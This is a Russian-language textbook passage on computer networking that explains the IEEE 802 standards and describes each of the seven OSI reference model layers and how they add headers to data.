IEEE Project 802 – установил стандарты для физических компонентов сети – интерфейсных плат и кабельной системы с которыми имеют дело Физический и Канальный кровни модели OSI .

Данные стандарты распределяются:

  • на платы сетевых адаптеров;
  • компоненты глобальных вычислительных сетей;
  • компоненты сетей на коаксиале и витой паре.

802-спецификации определяют способы, в соответствии с которыми сетевые карты осуществляют доступ к физической среде и передают по ней данные.

В модели IEEE Канальный уровень делится на два подуровня:

  • управление логической связью (контроль ошибок и управление потоком данных);
  • Управление доступом к среде. (контроль несущей, передача маркера,…).

Эталонная модель ВОС является удобным средством для распараллеливания разработки стандартов для взаимосвязи открытых систем. Она определяет лишь концепцию построения и взаимосвязи стандартов между собой и может служить базой для стандартизации в различных сферах передачи, хранения и обработки информации.

Контрольные вопросы

Архитектура вычислительной сети - описание ее общей модели.

Многообразие производителей вычислительных сетей и сетевых программных продуктов поставило проблему объединения сетей различных архитектур. Для ее решения Международной организацией по стандартизации была разработана эталонная модель взаимодействия открытых систем (Open System Interconnection, OSI). Часто ее называют моделью архитектуры открытых систем.

Модель взаимодействия открытых систем (OSI) служит базой для производителей при разработке совместимого сетевого оборудования. Эта модель не является неким физическим телом, отдельные элементы которого можно осязать. Она устанавливает способы передачи данных по сети, определяет стандартные протоколы, используемые сетевым и программным обеспечением. Модель представляет собой самые общие рекомендации для построения совместимых сетевых программных продуктов. Эти рекомендации должны быть реализованы как в аппаратуре, так и в программных средствах вычислительных сетей.

Модель взаимодействия открытых систем (OSI) определяет процедуры передачи данных между системами, которые "открыты" друг другу благодаря совместному использованию ими единых стандартов, хотя сами системы могут быть созданы на различных технических средствах.

В настоящее время модель взаимодействия открытых систем является наиболее популярной сетевой архитектурной моделью. Она рассматривает общие функции, а не специальные решения, поэтому не все реальные сети абсолютно точно ей следуют. Модель взаимодействия открытых систем состоит из семи уровней (рис. 1.7)

На каждом уровне выполняются определенные сетевые функции. Нижние уровни - 1-й и 2-й - определяют физическую среду передачи данных и сопутствующие задачи (такие как передача битов данных через плату сетевого адаптера и кабель). Самые верхние уровни определяют, каким способом осуществляется доступ приложений к услугам связи. Чем выше уровень, тем более сложную задачу он решает.

Рис. 1.7. Эталонная модель взаимодействия открытых систем

Перед подачей в сеть данные разбиваются на пакеты.

Пакет - это единица информации, передаваемая между устройствами сети как единое целое. На передающей стороне пакет проходит последовательно через все уровни системы сверху вниз. Затем он передается по сетевому кабелю на компьютер-получатель и опять проходит через все уровни в обратном порядке.

7-й уровень - прикладной - обеспечивает поддержку прикладных процессов конечных пользователей. Этот уровень определяет круг прикладных задач, реализуемых в данной вычислительной сети, представляя собой окно для доступа прикладных процессов к сетевым услугам. Он обеспечивает услуги, напрямую поддерживающие приложения пользователя, такие как программное обеспечение для передачи файлов, доступа к базам данных и электронная почта. Нижележащие уровни поддерживают задачи, выполняемые на прикладном уровне. Прикладной уровень управляет общим доступом к сети, потоком данных и обработкой ошибок.

6-й уровень - представительный (уровень представления) - определяет формат, используемый для обмена данными между сетевыми компьютерами. Этот уровень можно назвать переводчиком. На компьютере-отправителе данные, поступившие от прикладного уровня, переводятся в общепонятный промежуточный формат. На компьютере-получателе происходит перевод из промежуточного формата в тот, который используется прикладным уровнем данного компьютера. Представительский уровень отвечает за преобразование протоколов, трансляцию данных, их шифрование, смену или преобразование применяемого набора символов (кодовой таблицы).

5-й уровень - сеансовый - реализует установление и поддержку сеанса связи между двумя абонентами через коммуникационную сеть. Он позволяет производить обмен данными в режиме, определенном прикладной программой, или предоставляет возможность выбора режима обмена. Сеансовый уровень поддерживает и завершает сеанс связи. На этом уровне выполняется управление диалогом между взаимодействующими процессами, т.е. регулируется, какая из сторон осуществляет передачу, когда, как долго и т.д.

4-й уровень - транспортный - обеспечивает дополнительный уровень соединения. Транспортный уровень гарантирует доставку пакетов без ошибок, в той же последовательности, без потерь и дублирования. Он управляет потоком, проверяет ошибки и участвует в решении проблем, связанных с отправкой и получением пакетов.

3-й уровень - сетевой - отвечает за адресацию сообщений и перевод логических адресов в физические адреса. На этом уровне определяется маршрут от компьютера-отправителя к компьютеру-получателю, решаются также такие проблемы, как коммутация пакетов, маршрутизация и перегрузки.

2-й уровень - канальный - реализует процесс передачи информации по информационному каналу. Информационный канал - логический канал, он устанавливается между двумя ЭВМ, соединенными физическим каналом. Канальный уровень обеспечивает управление потоком данных в виде кадров, в которые упаковываются информационные пакеты, обнаруживает ошибки передачи и реализует алгоритм восстановления информации в случае обнаружения сбоев или потерь данных.

1-й уровень - физический - самый нижний в модели. Этот уровень осуществляет передачу неструктурированного потока битов по физической среде (например, по сетевому кабелю). Физический уровень предназначен для передачи битов (нулей и единиц) от одного компьютера к другому. Он отвечает за кодирование данных, гарантируя, что переданная единица будет воспринята именно как единица, а не как ноль. Наконец, физический уровень устанавливает способ перевода бита в соответствующие электрические или оптические импульсы, передаваемые по сетевому кабелю.

При передаче информации от прикладного процесса в сеть происходит ее обработка уровнями модели взаимодействия открытых систем (рис 1.8). Смысл этой обработки заключается в том, что каждый уровень добавляет к информации процесса свой заголовок - служебную информацию, которая необходима для адресации сообщений и для некоторых контрольных функций. Физический уровень заголовка не добавляет. Сообщение, обрамленное заголовками, уходит в коммуникационную сеть и поступает на абонентские ЭВМ вычислительной сети. Каждая абонентская ЭВМ, принявшая сообщение, дешифрирует адреса и определяет, предназначено ли ей данное сообщение. При этом в абонентской ЭВМ происходит обратный процесс - чтение и отсечение заголовков уровнями модели взаимодействия открытых систем. Каждый уровень реагирует только на свой заголовок. Заголовки верхних уровней нижними уровнями не воспринимаются и не изменяются - они "прозрачны " для нижних уровней. Так, перемещаясь по уровням модели OSI, информация, наконец, поступает к процессу, которому она была адресована.

Рис. 1.8. Обработка сообщений уровнями модели OSI

Каждый уровень модели взаимодействия открытых систем реагирует только на свой заголовок.

На рис. 1.8 показан процесс прохождения данных через уровни модели. Каждый уровень добавляет свой заголовок – З.

В чем же основное достоинство семиуровневой модели OSI?

В процессе развития и совершенствования любой системы возникает потребность изменять ее отдельные компоненты. Иногда это вызывает необходимость изменять и другие компоненты, что существенно усложняет и затрудняет процесс модернизации системы.

Здесь и проявляются преимущества семиуровневой модели. Если между уровнями определены однозначно интерфейсы, то изменение одного из уровней не влечет за собой необходимости внесения изменений в другие уровни. Таким образом, существует относительная независимость уровней друг от друга.

Функции, описываемые уровнями модели, должны быть реализованы либо в аппаратуре, либо в виде программ. Функции физического уровня всегда реализуются в аппаратуре. Это адаптеры, мультиплексоры передачи данных, сетевые платы и т.д. Функции остальных уровней реализуются в виде программных модулей – драйверов.